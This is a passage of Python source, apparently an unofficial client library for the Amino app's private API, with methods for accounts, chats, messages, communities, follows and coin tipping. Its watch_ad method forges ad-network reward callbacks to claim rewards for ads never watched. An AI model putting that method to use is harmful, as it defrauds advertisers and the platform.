proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def change_password(self, email: str, password: str, code: str): """ Change password of an account. **Parameters** - **email** : Email of the account. - **password** : Password of the account. - **code** : Verification code. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = json.dumps({ "updateSecret": f"0 {password}", "emailValidationContext": { "data": { "code": code }, "type": 1, "identity": email, "level": 2, "deviceID": self.device_id }, "phoneNumberValidationContext": None, "deviceID": self.device_id }) response = self.session.post(f"{self.api}/g/s/auth/reset-password", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def check_device(self, deviceId: str): """ Check if the Device ID is valid. **Parameters** - **deviceId** : ID of the Device. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = json.dumps({ "deviceID": deviceId, "bundleID": "com.narvii.amino.master", "clientType": 100, "timezone": -timezone // 1000, "systemPushEnabled": True, "locale": locale()[0], "timestamp": int(timestamp() * 1000) }) response = self.session.post(f"{self.api}/g/s/device", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: self.configured = True; return response.status_code def get_account_info(self): response = self.session.get(f"{self.api}/g/s/account", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.UserProfile(json.loads(response.text)["account"]).UserProfile def upload_media(self, file: BinaryIO, fileType: str): """ Upload file to the amino servers. **Parameters** - **file** : File to be uploaded. **Returns** - **Success** : Url of the file uploaded to the server. - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ if fileType == "audio": t = "audio/aac" elif fileType == "image": t = "image/jpg" else: raise exceptions.SpecifyType(fileType) data = file.read() response = self.session.post(f"{self.api}/g/s/media/upload", data=data, headers=headers.ApisHeaders(type=t, data=data, deviceId=self.device_id).headers, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return json.loads(response.text)["mediaValue"] def handle_socket_message(self, data): return self.resolve(data) def get_eventlog(self): response = self.session.get(f"{self.api}/g/s/eventlog/profile?language=en", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return json.loads(response.text) def sub_clients(self, start: int = 0, size: int = 25): """ List of Communities the account is in. **Parameters** - *start* : Where to start the list. - *size* : Size of the list. **Returns** - **Success** : :meth:`Community List <amino.lib.util.objects.CommunityList>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ if not self.authenticated: raise exceptions.NotLoggedIn() response = self.session.get(f"{self.api}/g/s/community/joined?v=1&start={start}&size={size}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.CommunityList(json.loads(response.text)["communityList"]).CommunityList def sub_clients_profile(self, start: int = 0, size: int = 25): if not self.authenticated: raise exceptions.NotLoggedIn() response = self.session.get(f"{self.api}/g/s/community/joined?v=1&start={start}&size={size}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return json.loads(response.text)["userInfoInCommunities"] def get_user_info(self, userId: str): """ Information of an User. **Parameters** - **userId** : ID of the User. **Returns** - **Success** : :meth:`User Object <amino.lib.util.objects.UserProfile>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/user-profile/{userId}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.UserProfile(json.loads(response.text)["userProfile"]).UserProfile def watch_ad(self, userId: str = None): data = json.dumps(headers.Tapjoy(userId if userId else self.userId).data) response = self.session.post("https://ads.tapdaq.com/v4/analytics/reward", data=data, headers=headers.Tapjoy().headers) if response.status_code != 204: return exceptions.CheckException(json.loads(response.text)) else: return response.status_code def get_chat_threads(self, start: int = 0, size: int = 25): """ List of Chats the account is in. **Parameters** - *start* : Where to start the list. - *size* : Size of the list. **Returns** - **Success** : :meth:`Chat List <amino.lib.util.objects.ThreadList>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/chat/thread?type=joined-me&start={start}&size={size}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.ThreadList(json.loads(response.text)["threadList"]).ThreadList def get_chat_thread(self, chatId: str): """ Get the Chat Object from an Chat ID. **Parameters** - **chatId** : ID of the Chat. **Returns** - **Success** : :meth:`Chat Object <amino.lib.util.objects.Thread>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/chat/thread/{chatId}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.Thread(json.loads(response.text)["thread"]).Thread def get_chat_users(self, chatId: str, start: int = 0, size: int = 25): response = self.session.get(f"{self.api}/g/s/chat/thread/{chatId}/member?start={start}&size={size}&type=default&cv=1.2", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.UserProfileList(json.loads(response.text)["memberList"]).UserProfileList def join_chat(self, chatId: str): """ Join an Chat. **Parameters** - **chatId** : ID of the Chat. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.post(f"{self.api}/g/s/chat/thread/{chatId}/member/{self.userId}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def leave_chat(self, chatId: str): """ Leave an Chat. **Parameters** - **chatId** : ID of the Chat. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.delete(f"{self.api}/g/s/chat/thread/{chatId}/member/{self.userId}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def start_chat(self, userId: Union[str, list], message: str, title: str = None, content: str = None, isGlobal: bool = False, publishToGlobal: bool = False): """ Start an Chat with an User or List of Users. **Parameters** - **userId** : ID of the User or List of User IDs. - **message** : Starting Message. - **title** : Title of Group Chat. - **content** : Content of Group Chat. - **isGlobal** : If Group Chat is Global. - **publishToGlobal** : If Group Chat should show in Global. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ if isinstance(userId, str): userIds = [userId] elif isinstance(userId, list): userIds = userId else: raise exceptions.WrongType() data = { "title": title, "inviteeUids": userIds, "initialMessageContent": message, "content": content, "timestamp": int(timestamp() * 1000) } if isGlobal is True: data["type"] = 2; data["eventSource"] = "GlobalComposeMenu" else: data["type"] = 0 if publishToGlobal is True: data["publishToGlobal"] = 1 else: data["publishToGlobal"] = 0 data = json.dumps(data) response = self.session.post(f"{self.api}/g/s/chat/thread", data=data, headers=self.parse_headers(data=data), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.Thread(json.loads(response.text)["thread"]).Thread def invite_to_chat(self, userId: Union[str, list], chatId: str): """ Invite a User or List of Users to a Chat. **Parameters** - **userId** : ID of the User or List of User IDs. - **chatId** : ID of the Chat. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ if isinstance(userId, str): userIds = [userId] elif isinstance(userId, list): userIds = userId else: raise exceptions.WrongType data = json.dumps({ "uids": userIds, "timestamp": int(timestamp() * 1000) }) response = self.session.post(f"{self.api}/g/s/chat/thread/{chatId}/member/invite", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def kick(self, userId: str, chatId: str, allowRejoin: bool = True): if allowRejoin: allowRejoin = 1 if not allowRejoin: allowRejoin = 0 response = self.session.delete(f"{self.api}/g/s/chat/thread/{chatId}/member/{userId}?allowRejoin={allowRejoin}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def get_chat_messages(self, chatId: str, size: int = 25, pageToken: str = None): """ List of Messages from an Chat. **Parameters** - **chatId** : ID of the Chat. - *size* : Size of the list. - *size* : Size of the list. - *pageToken* : Next Page Token. **Returns** - **Success** : :meth:`Message List <amino.lib.util.objects.MessageList>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ if pageToken is not None: url = f"{self.api}/g/s/chat/thread/{chatId}/message?v=2&pagingType=t&pageToken={pageToken}&size={size}" else: url = f"{self.api}/g/s/chat/thread/{chatId}/message?v=2&pagingType=t&size={size}" response = self.session.get(url, headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.GetMessages(json.loads(response.text)).GetMessages def get_message_info(self, chatId: str, messageId: str): """ Information of an Message from an Chat. **Parameters** - **chatId** : ID of the Chat. - **messageId** : ID of the Message. **Returns** - **Success** : :meth:`Message Object <amino.lib.util.objects.Message>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/chat/thread/{chatId}/message/{messageId}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.Message(json.loads(response.text)["message"]).Message def get_community_info(self, comId: str): """ Information of an Community. **Parameters** - **comId** : ID of the Community. **Returns** - **Success** : :meth:`Community Object <amino.lib.util.objects.Community>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s-x{comId}/community/info?withInfluencerList=1&withTopicList=true&influencerListOrderStrategy=fansCount", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.Community(json.loads(response.text)["community"]).Community def search_community(self, aminoId: str): """ Search a Community byt its Amino ID. **Parameters** - **aminoId** : Amino ID of the Community. **Returns** - **Success** : :meth:`Community List <amino.lib.util.objects.CommunityList>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/search/amino-id-and-link?q={aminoId}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: response = json.loads(response.text)["resultList"] if len(response) == 0: raise exceptions.CommunityNotFound(aminoId) else: return objects.CommunityList([com["refObject"] for com in response]).CommunityList def get_user_following(self, userId: str, start: int = 0, size: int = 25): """ List of Users that the User is Following. **Parameters** - **userId** : ID of the User. - *start* : Where to start the list. - *size* : Size of the list. **Returns** - **Success** : :meth:`User List <amino.lib.util.objects.UserProfileList>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/user-profile/{userId}/joined?start={start}&size={size}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.UserProfileList(json.loads(response.text)["userProfileList"]).UserProfileList def get_user_followers(self, userId: str, start: int = 0, size: int = 25): """ List of Users that are Following the User. **Parameters** - **userId** : ID of the User. - *start* : Where to start the list. - *size* : Size of the list. **Returns** - **Success** : :meth:`User List <amino.lib.util.objects.UserProfileList>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/user-profile/{userId}/member?start={start}&size={size}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.UserProfileList(json.loads(response.text)["userProfileList"]).UserProfileList def get_user_visitors(self, userId: str, start: int = 0, size: int = 25): """ List of Users that Visited the User. **Parameters** - **userId** : ID of the User. - *start* : Where to start the list. - *size* : Size of the list. **Returns** - **Success** : :meth:`Visitors List <amino.lib.util.objects.VisitorsList>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/user-profile/{userId}/visitors?start={start}&size={size}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.VisitorsList(json.loads(response.text)).VisitorsList def get_blocked_users(self, start: int = 0, size: int = 25): """ List of Users that the User Blocked. **Parameters** - *start* : Where to start the list. - *size* : Size of the list. **Returns** - **Success** : :meth:`Users List <amino.lib.util.objects.UserProfileList>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/block?start={start}&size={size}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.UserProfileList(json.loads(response.text)["userProfileList"]).UserProfileList def get_blog_info(self, blogId: str = None, wikiId: str = None, quizId: str = None, fileId: str = None): if blogId or quizId: if quizId is not None: blogId = quizId response = self.session.get(f"{self.api}/g/s/blog/{blogId}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.GetBlogInfo(json.loads(response.text)).GetBlogInfo elif wikiId: response = self.session.get(f"{self.api}/g/s/item/{wikiId}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.GetBlogInfo(json.loads(response.text)).GetWikiInfo elif fileId: response = self.session.get(f"{self.api}/g/s/shared-folder/files/{fileId}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.SharedFolderFile(json.loads(response.text)["file"]).SharedFolderFile else: raise exceptions.SpecifyType() def get_blog_comments(self, blogId: str = None, wikiId: str = None, quizId: str = None, fileId: str = None, sorting: str = "newest", start: int = 0, size: int = 25): if sorting == "newest": sorting = "newest" elif sorting == "oldest": sorting = "oldest" elif sorting == "top": sorting = "vote" else: raise exceptions.WrongType(sorting) if blogId or quizId: if quizId is not None: blogId = quizId response = self.session.get(f"{self.api}/g/s/blog/{blogId}/comment?sort={sorting}&start={start}&size={size}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) elif wikiId: response = self.session.get(f"{self.api}/g/s/item/{wikiId}/comment?sort={sorting}&start={start}&size={size}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) elif fileId: response = self.session.get(f"{self.api}/g/s/shared-folder/files/{fileId}/comment?sort={sorting}&start={start}&size={size}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) else: raise exceptions.SpecifyType() if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.CommentList(json.loads(response.text)["commentList"]).CommentList def get_blocker_users(self, start: int = 0, size: int = 25): """ List of Users that are Blocking the User. **Parameters** - *start* : Where to start the list. - *size* : Size of the list. **Returns** - **Success** : :meth:`List of User IDs <None>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/block/full-list?start={start}&size={size}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return json.loads(response.text)["blockerUidList"] def get_wall_comments(self, userId: str, sorting: str, start: int = 0, size: int = 25): """ List of Wall Comments of an User. **Parameters** - **userId** : ID of the User. - **sorting** : Order of the Comments. - ``newest``, ``oldest``, ``top`` - *start* : Where to start the list. - *size* : Size of the list. **Returns** - **Success** : :meth:`Comments List <amino.lib.util.objects.CommentList>` - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ if sorting.lower() == "newest": sorting = "newest" elif sorting.lower() == "oldest": sorting = "oldest" elif sorting.lower() == "top": sorting = "vote" else: raise exceptions.WrongType(sorting) response = self.session.get(f"{self.api}/g/s/user-profile/{userId}/g-comment?sort={sorting}&start={start}&size={size}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return objects.CommentList(json.loads(response.text)["commentList"]).CommentList def flag(self, reason: str, flagType: int, userId: str = None, blogId: str = None, wikiId: str = None, asGuest: bool = False): """ Flag a User, Blog or Wiki. **Parameters** - **reason** : Reason of the Flag. - **flagType** : Type of the Flag. - **userId** : ID of the User. - **blogId** : ID of the Blog. - **wikiId** : ID of the Wiki. - *asGuest* : Execute as a Guest. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ if reason is None: raise exceptions.ReasonNeeded if flagType is None: raise exceptions.FlagTypeNeeded data = { "flagType": flagType, "message": reason, "timestamp": int(timestamp() * 1000) } if userId: data["objectId"] = userId data["objectType"] = 0 elif blogId: data["objectId"] = blogId data["objectType"] = 1 elif wikiId: data["objectId"] = wikiId data["objectType"] = 2 else: raise exceptions.SpecifyType if asGuest: flg = "g-flag" else: flg = "flag" data = json.dumps(data) response = self.session.post(f"{self.api}/g/s/{flg}", data=data, headers=self.parse_headers(data=data), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def send_message(self, chatId: str, message: str = None, messageType: int = 0, file: BinaryIO = None, fileType: str = None, replyTo: str = None, mentionUserIds: list = None, stickerId: str = None, embedId: str = None, embedType: int = None, embedLink: str = None, embedTitle: str = None, embedContent: str = None, embedImage: BinaryIO = None): """ Send a Message to a Chat. **Parameters** - **message** : Message to be sent - **chatId** : ID of the Chat. - **file** : File to be sent. - **fileType** : Type of the file. - ``audio``, ``image``, ``gif`` - **messageType** : Type of the Message. - **mentionUserIds** : List of User IDS to mention. '@' needed in the Message. - **replyTo** : Message ID to reply to. - **stickerId** : Sticker ID to be sent. - **embedTitle** : Title of the Embed. - **embedContent** : Content of the Embed. - **embedLink** : Link of the Embed. - **embedImage** : Image of the Embed. - **embedId** : ID of the Embed. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ if message is not None and file is None: message = message.replace("<$", "‎‏").replace("$>", "‬‭") mentions = [] if mentionUserIds: for mention_uid in mentionUserIds: mentions.append({"uid": mention_uid}) if embedImage: embedImage = [[100, self.upload_media(embedImage, "image"), None]] data = { "type": messageType, "content": message, "clientRefId": int(timestamp() / 10 % 1000000000), "attachedObject": { "objectId": embedId, "objectType": embedType, "link": embedLink, "title": embedTitle, "content": embedContent, "mediaList": embedImage }, "extensions": {"mentionedArray": mentions}, "timestamp": int(timestamp() * 1000) } if replyTo: data["replyMessageId"] = replyTo if stickerId: data["content"] = None data["stickerId"] = stickerId data["type"] = 3 if file: data["content"] = None if fileType == "audio": data["type"] = 2 data["mediaType"] = 110 elif fileType == "image": data["mediaType"] = 100 data["mediaUploadValueContentType"] = "image/jpg" data["mediaUhqEnabled"] = True elif fileType == "gif": data["mediaType"] = 100 data["mediaUploadValueContentType"] = "image/gif" data["mediaUhqEnabled"] = True else: raise exceptions.SpecifyType data["mediaUploadValue"] = base64.b64encode(file.read()).decode() data = json.dumps(data) response = self.session.post(f"{self.api}/g/s/chat/thread/{chatId}/message", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def delete_message(self, chatId: str, messageId: str, asStaff: bool = False, reason: str = None): """ Delete a Message from a Chat. **Parameters** - **messageId** : ID of the Message. - **chatId** : ID of the Chat. - **asStaff** : If execute as a Staff member (Leader or Curator). - **reason** : Reason of the action to show on the Moderation History. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = { "adminOpName": 102, "adminOpNote": {"content": reason}, "timestamp": int(timestamp() * 1000) } data = json.dumps(data) if not asStaff: response = self.session.delete(f"{self.api}/g/s/chat/thread/{chatId}/message/{messageId}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) else: response = self.session.post(f"{self.api}/g/s/chat/thread/{chatId}/message/{messageId}/admin", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def mark_as_read(self, chatId: str, messageId: str): """ Mark a Message from a Chat as Read. **Parameters** - **messageId** : ID of the Message. - **chatId** : ID of the Chat. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = json.dumps({ "messageId": messageId, "timestamp": int(timestamp() * 1000) }) response = self.session.post(f"{self.api}/g/s/chat/thread/{chatId}/mark-as-read", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def edit_chat(self, chatId: str, doNotDisturb: bool = None, pinChat: bool = None, title: str = None, icon: str = None, backgroundImage: str = None, content: str = None, announcement: str = None, coHosts: list = None, keywords: list = None, pinAnnouncement: bool = None, publishToGlobal: bool = None, canTip: bool = None, viewOnly: bool = None, canInvite: bool = None, fansOnly: bool = None): """ Send a Message to a Chat. **Parameters** - **chatId** : ID of the Chat. - **title** : Title of the Chat. - **content** : Content of the Chat. - **icon** : Icon of the Chat. - **backgroundImage** : Url of the Background Image of the Chat. - **announcement** : Announcement of the Chat. - **pinAnnouncement** : If the Chat Announcement should Pinned or not. - **coHosts** : List of User IDS to be Co-Host. - **keywords** : List of Keywords of the Chat. - **viewOnly** : If the Chat should be on View Only or not. - **canTip** : If the Chat should be Tippable or not. - **canInvite** : If the Chat should be Invitable or not. - **fansOnly** : If the Chat should be Fans Only or not. - **publishToGlobal** : If the Chat should show on Public Chats or not. - **doNotDisturb** : If the Chat should Do Not Disturb or not. - **pinChat** : If the Chat should Pinned or not. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = {"timestamp": int(timestamp() * 1000)} if title: data["title"] = title if content: data["content"] = content if icon: data["icon"] = icon if keywords: data["keywords"] = keywords if announcement: data["extensions"] = {"announcement": announcement} if pinAnnouncement: data["extensions"] = {"pinAnnouncement": pinAnnouncement} if fansOnly: data["extensions"] = {"fansOnly": fansOnly} if publishToGlobal: data["publishToGlobal"] = 0 if not publishToGlobal: data["publishToGlobal"] = 1 res = [] if doNotDisturb is not None: if doNotDisturb: data = json.dumps({"alertOption": 2, "timestamp": int(timestamp() * 1000)}) response = self.session.post(f"{self.api}/g/s/chat/thread/{chatId}/member/{self.userId}/alert", data=data, headers=self.parse_headers(data=data), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: res.append(exceptions.CheckException(json.loads(response.text))) else: res.append(response.status_code) if not doNotDisturb: data = json.dumps({"alertOption": 1, "timestamp": int(timestamp() * 1000)}) response = self.session.post(f"{self.api}/g/s/chat/thread/{chatId}/member/{self.userId}/alert", data=data, headers=self.parse_headers(data=data), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: res.append(exceptions.CheckException(json.loads(response.text))) else: res.append(response.status_code) if pinChat is not None: if pinChat: response = self.session.post(f"{self.api}/g/s/chat/thread/{chatId}/pin", data=data, headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: res.append(exceptions.CheckException(json.loads(response.text))) else: res.append(response.status_code) if not pinChat: response = self.session.post(f"{self.api}/g/s/chat/thread/{chatId}/unpin", data=data, headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: res.append(exceptions.CheckException(json.loads(response.text))) else: res.append(response.status_code) if backgroundImage is not None: data = json.dumps({"media": [100, backgroundImage, None], "timestamp": int(timestamp() * 1000)}) response = self.session.post(f"{self.api}/g/s/chat/thread/{chatId}/member/{self.userId}/background", data=data, headers=self.parse_headers(data=data), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: res.append(exceptions.CheckException(json.loads(response.text))) else: res.append(response.status_code) if coHosts is not None: data = json.dumps({"uidList": coHosts, "timestamp": int(timestamp() * 1000)}) response = self.session.post(f"{self.api}/g/s/chat/thread/{chatId}/co-host", data=data, headers=self.parse_headers(data=data), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: res.append(exceptions.CheckException(json.loads(response.text))) else: res.append(response.status_code) if viewOnly is not None: if viewOnly: response = self.session.post(f"{self.api}/g/s/chat/thread/{chatId}/view-only/enable", headers=self.parse_headers(type="application/x-www-form-urlencoded"), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: res.append(exceptions.CheckException(json.loads(response.text))) else: res.append(response.status_code) if not viewOnly: response = self.session.post(f"{self.api}/g/s/chat/thread/{chatId}/view-only/disable", headers=self.parse_headers(type="application/x-www-form-urlencoded"), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: res.append(exceptions.CheckException(json.loads(response.text))) else: res.append(response.status_code) if canInvite is not None: if canInvite: response = self.session.post(f"{self.api}/g/s/chat/thread/{chatId}/members-can-invite/enable", data=data, headers=self.parse_headers(data=data), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: res.append(exceptions.CheckException(json.loads(response.text))) else: res.append(response.status_code) if not canInvite: response = self.session.post(f"{self.api}/g/s/chat/thread/{chatId}/members-can-invite/disable", data=data, headers=self.parse_headers(data=data), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: res.append(exceptions.CheckException(json.loads(response.text))) else: res.append(response.status_code) if canTip is not None: if canTip: response = self.session.post(f"{self.api}/g/s/chat/thread/{chatId}/tipping-perm-status/enable", data=data, headers=self.parse_headers(data=data), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: res.append(exceptions.CheckException(json.loads(response.text))) else: res.append(response.status_code) if not canTip: response = self.session.post(f"{self.api}/g/s/chat/thread/{chatId}/tipping-perm-status/disable", data=data, headers=self.parse_headers(data=data), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: res.append(exceptions.CheckException(json.loads(response.text))) else: res.append(response.status_code) data = json.dumps(data) response = self.session.post(f"{self.api}/g/s/chat/thread/{chatId}", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: res.append(exceptions.CheckException(json.loads(response.text))) else: res.append(response.status_code) return res def visit(self, userId: str): """ Visit an User. **Parameters** - **userId** : ID of the User. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.get(f"{self.api}/g/s/user-profile/{userId}?action=visit", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def send_coins(self, coins: int, blogId: str = None, chatId: str = None, objectId: str = None, transactionId: str = None): url = None if transactionId is None: transactionId = str(UUID(hexlify(urandom(16)).decode('ascii'))) data = { "coins": coins, "tippingContext": {"transactionId": transactionId}, "timestamp": int(timestamp() * 1000) } if blogId is not None: url = f"{self.api}/g/s/blog/{blogId}/tipping" if chatId is not None: url = f"{self.api}/g/s/chat/thread/{chatId}/tipping" if objectId is not None: data["objectId"] = objectId data["objectType"] = 2 url = f"{self.api}/g/s/tipping" if url is None: raise exceptions.SpecifyType() data = json.dumps(data) response = self.session.post(url, headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def follow(self, userId: Union[str, list]): """ Follow an User or Multiple Users. **Parameters** - **userId** : ID of the User or List of IDs of the Users. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ if isinstance(userId, str): response = self.session.post(f"{self.api}/g/s/user-profile/{userId}/member", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) elif isinstance(userId, list): data = json.dumps({"targetUidList": userId, "timestamp": int(timestamp() * 1000)}) response = self.session.post(f"{self.api}/g/s/user-profile/{self.userId}/joined", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) else: raise exceptions.WrongType if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def unfollow(self, userId: str): """ Unfollow an User. **Parameters** - **userId** : ID of the User. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.delete(f"{self.api}/g/s/user-profile/{userId}/member/{self.userId}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def block(self, userId: str): """ Block an User. **Parameters** - **userId** : ID of the User. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.post(f"{self.api}/g/s/block/{userId}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def unblock(self, userId: str): """ Unblock an User. **Parameters** - **userId** : ID of the User. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ response = self.session.delete(f"{self.api}/g/s/block/{userId}", headers=self.parse_headers(), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def join_community(self, comId: str, invitationId: str = None): """ Join a Community. **Parameters** - **comId** : ID of the Community. - **invitationId** : ID of the Invitation Code. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = {"timestamp": int(timestamp() * 1000)} if invitationId: data["invitationId"] = invitationId data = 